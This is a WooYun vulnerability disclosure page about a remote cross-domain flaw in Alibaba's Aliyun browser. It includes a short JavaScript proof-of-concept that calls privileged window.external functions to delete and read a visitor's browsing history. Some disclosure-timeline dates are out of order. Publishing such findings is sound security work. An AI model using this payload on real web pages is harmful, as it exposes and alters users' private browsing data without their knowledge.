WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-03100

漏洞标题：阿里云浏览器远程跨域漏洞

相关厂商：阿里巴巴

漏洞作者： mog

提交时间：2011-10-24 00:38

修复时间：2011-11-23 00:38

公开时间：2011-11-23 00:38

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2011-10-24： 细节已通知厂商并且等待厂商处理中
2011-10-26： 厂商已经确认，细节仅向厂商公开
2011-10-29： 细节向第三方安全合作伙伴开放
2011-12-20： 细节向核心白帽子及相关领域专家公开
2011-12-30： 细节向普通白帽子公开
2012-01-09： 细节向实习白帽子公开
2011-11-23： 细节向公众公开

简要描述：

阿里云的阿云浏览器，存在远程跨域漏洞，可通过漏洞进行跨域攻击

详细说明：

漏洞证明：

<script>
	try{
		window.external.DeleteHistoryItem("http://www.baidu.com/");
		window.external.QueryHistoryList(16);
	}catch(e){
		alert("error");
	}
</script>

<script>
	function OnTest(str){
		alert(str);
	}
	var ext = window.external;
	try{
    ext.SetCallback_OnQueryHistoryList(OnTest);
    
     ext.QueryHistoryList(100);
	}catch(e){
		alert("error");
	}
</script>

修复方案：

版权声明：转载请注明来源 mog@乌云

漏洞回应